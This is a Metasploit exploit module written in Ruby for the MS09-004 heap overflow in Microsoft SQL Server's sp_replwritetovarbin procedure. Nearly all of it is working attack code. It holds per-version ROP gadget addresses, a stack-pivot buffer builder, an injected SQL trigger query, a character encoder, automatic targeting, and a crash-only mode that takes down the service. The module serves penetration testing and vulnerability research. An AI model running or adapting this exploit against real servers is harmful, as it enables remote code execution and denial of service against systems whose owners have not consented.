Microsoft SQL Server – sp_replwritetovarbin Memory Corruption (MS09-004) (Metasploit)
## # $Id: ms09_004_sp_replwritetovarbin.rb 11631 2011-01-24 19:37:58Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption', 'Description' => %q{ A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. Microsoft patched this vulnerability in SP3 for 2005 without any public mention. An authenticated database session is required to access the vulnerable code. That said, it is possible to access the vulnerable code via an SQL injection vulnerability. This exploit smashes several pointers, as shown below. 1. pointer to a 32-bit value that is set to 0 2. pointer to a 32-bit value that is set to a length influcenced by the buffer length. 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000, this value is referenced with a displacement of 0x38. For MSSQL 2005, the displacement is 0x10. The address of our buffer is conveniently stored in ecx when this instruction is executed. 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with a displacement of 4. This pointer is not used by this exploit. This particular exploit replaces the previous dual-method exploit. It uses a technique where the value contained in ecx becomes the stack. From there, return oriented programming is used to normalize the execution state and finally execute the payload via a "jmp esp". All addresses used were found within the sqlservr.exe memory space, yielding very reliable code execution using only a single query. NOTE: The MSSQL server service does not automatically restart by default. That said, some exceptions are caught and will not result in terminating the process. If the exploit crashes the service prior to hijacking the stack, it won't die. Otherwise, it's a goner. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11631 $', 'References' => [ [ 'OSVDB', '50589' ], [ 'CVE', '2008-5416' ], [ 'BID', '32710' ], [ 'MSB', 'MS09-004' ], [ 'URL', 'http://www.milw0rm.com/exploits/7501' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 512, 'BadChars' => "", # bad bytes get encoded! 'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff", 'DisableNops' => true }, 'Platform' => 'win', 'Privileged' => true, 'Targets' => [ # auto targeting! [ 'Automatic', { } ], # # Individual targets # [ # Microsoft SQL Server 2000 - 8.00.194 (Intel X86) # Aug 6 2000 00:57:48 'MSSQL 2000 / MSDE SP0 (8.00.194)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08] 'Disp' => 0x08, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0041c9a2 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.384 (Intel X86) # May 23 2001 00:02:52 'MSSQL 2000 / MSDE SP1 (8.00.384)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18] 'Disp' => 0x34, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret 'Popped' => 0x8, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret) 'Ret' => 0x004caa15 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.534 (Intel X86) # Nov 19 2001 13:23:50 'MSSQL 2000 / MSDE SP2 (8.00.534)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x660077, # not directly used - call [ecx-0x18] 'Disp' => 0x34, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret 'Popped' => 0x8, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret) 'Ret' => 0x004ca984 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.760 (Intel X86) # Dec 17 2002 14:22:05 'MSSQL 2000 / MSDE SP3 (8.00.760)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x490074, # not directly used - call [ecx+0x14] 'Disp' => 0x34, # displacement on call [ecx+disp] used 'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret 'Popped' => 0x8, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0043fa97 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) # May 3 2005 23:18:38 'MSSQL 2000 / MSDE SP4 (8.00.2039)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14] 'Disp' => 0x14, # displacement on call [ecx+disp] used 'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0047c89d # jmp esp }, ], [ # Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) # Oct 14 2005 00:33:37 'MSSQL 2005 SP0 (9.00.1399.06)', { 'Num' => 32, # value for "start_offset" 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) 'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14] 'Disp' => 0x50, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret) 'Ret' => 0x0112c2c7 # jmp esp }, ], [ # Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86) # Apr 14 2006 01:12:25 'MSSQL 2005 SP1 (9.00.2047.00)', { 'Num' => 32, # value for "start_offset" 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) 'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14] 'Disp' => 0x52, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret) 'Ret' => 0x011b204c # jmp esp }, ], [ # Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) # Feb 9 2007 22:47:07 'MSSQL 2005 SP2 (9.00.3042.00)', { 'Num' => 32, # value for "start_offset" 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) 'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14] 'Disp' => 0x52, # displacement on call [ecx+disp] used 'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret) 'Ret' => 0x010a5379 # jmp esp }, ], [ 'CRASHER', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 09 2008' )) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]) ]) end def check # the ping to port 1434 method has two drawbacks... # #1, it doesn't work on mssql 2005 or newer (localhost only listening) # #2, it doesn't give an accurate version number (sp/os) # since we need to have credentials for this vuln, we just login and run a query # to get the version information if not (version = mssql_query_version()) return Exploit::CheckCode::Safe end print_status("@@version returned:\n\t" + version) # Any others? return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/) return Exploit::CheckCode::Safe end def exploit mytarget = nil if target.name =~ /Automatic/ print_status("Attempting automatic target detection...") version = mssql_query_version raise RuntimeError, "Unable to get version!" if not version if (version =~ /8\.00\.194/) mytarget = targets[1] elsif (version =~ /8\.00\.384/) mytarget = targets[2] elsif (version =~ /8\.00\.534/) mytarget = targets[3] elsif (version =~ /8\.00\.760/) mytarget = targets[4] elsif (version =~ /8\.00\.2039/) mytarget = targets[5] elsif (version =~ /9\.00\.1399\.06/) mytarget = targets[6] elsif (version =~ /9\.00\.2047\.00/) mytarget = targets[7] elsif (version =~ /9\.00\.3042\.00/) mytarget = targets[8] end if mytarget.nil? raise RuntimeError, "Unable to automatically detect the target" else print_status("Automatically detected target \"#{mytarget.name}\"") end else mytarget = target end sqlquery = %Q|declare @i int,@z nvarchar(4000) set @z='declare @e int,@b varbinary,@l int;' set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l' exec sp_executesql @z| # just crash it with a pattern buffer if the CRASHER target is selected.. if mytarget.name == 'CRASHER' sploit = Rex::Text.pattern_create(2048) print_status("Attempting to corrupt memory to cause an exception!") num = 32 else # trigger the memory corruption num = mytarget['Num'] vt_off = mytarget['VtOff'] vt_disp = mytarget['VtDisp'] vtable = mytarget['Vtable'] ecx_disp = mytarget['Disp'] esp_off = mytarget['Offset'] hijack_esp = mytarget['ecx2esp'] first_esp = mytarget['Popped'] fix_esp = mytarget['FixESP'] writable = mytarget['Writable'] corruptable_bytes = 0x44 # make sploit buff sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length #sploit = Rex::Text.pattern_create(sz) sploit = rand_text_alphanumeric(sz) # remove displacement! (using call [ecx+displacement]) vtable_off = (num + vt_off) sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V') # stack -> heap hijack_off = vtable_off + ecx_disp sploit[hijack_off,4] = [hijack_esp].pack('V') # becomes eax on mssql 2ksp4 (prevent crash) sploit[(vtable_off-4),4] = [writable].pack('V') # becomes eip after esp hijack fixesp_off = vtable_off + first_esp sploit[fixesp_off,4] = [fix_esp].pack('V') # rest of magic stack (disable DEP?) stack_off = vtable_off + esp_off stack = [] stack << mytarget['Ret'] stack = stack.pack('V*') # jump over the stuff that gets corrupted stack << "\xeb" + [corruptable_bytes].pack('C') stack << rand_text_alphanumeric(corruptable_bytes) stack << payload.encoded sploit[stack_off,stack.length] = stack # this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff sploit[hijack_off,4] = [hijack_esp].pack('V') print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable]) end # encode chars that get modified enc = mssql_encode_string(sploit) # put the number in (start offset) runme = sqlquery.gsub(/%NUM%/, num.to_s) runme.gsub!(/%STUFF%/, enc) # go! if (not mssql_login_datastore) raise RuntimeError, "Unable to log in!" end begin mssql_query(runme, datastore['VERBOSE']) rescue ::Errno::ECONNRESET, EOFError print_error("Error: #{$!}") end handler disconnect end def mssql_str_to_chars(str) ret = "" str.unpack('C*').each do |ch| ret += "+" if ret.length > 0 ret += "char(" ret << ch.to_s ret += ")" end return ret end def mssql_encode_string(str) badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f" enc = "" in_str = true str.unpack('C*').each do |ch| # double-double single quotes if ch == 0x27 if not in_str enc << "+'" in_str = true end enc << ch.chr * 4 next end # double backslashes if ch == 0x5c if not in_str enc << "+'" in_str = true end enc << ch.chr * 2 next end # convert any bad stuff to char(0xXX) if ((idx = badchars.index(ch.chr))) enc << "'" if in_str enc << "+char(0x%x)" % ch in_str = false else enc << "+'" if not in_str enc << ch.chr in_str = true end end enc << "+'" if not in_str return enc end def mssql_query_version begin logged_in = mssql_login_datastore rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR return nil end if (not logged_in) raise RuntimeError, "Invalid SQL Server credentials" end res = mssql_query("select @@version", datastore['VERBOSE']) disconnect return nil if not res if res[:errors] and not res[:errors].empty? errstr = "" res[:errors].each do |err| errstr << err end raise RuntimeError, errstr end if not res[:rows] or res[:rows].empty? return nil end return res[:rows][0][0] end end |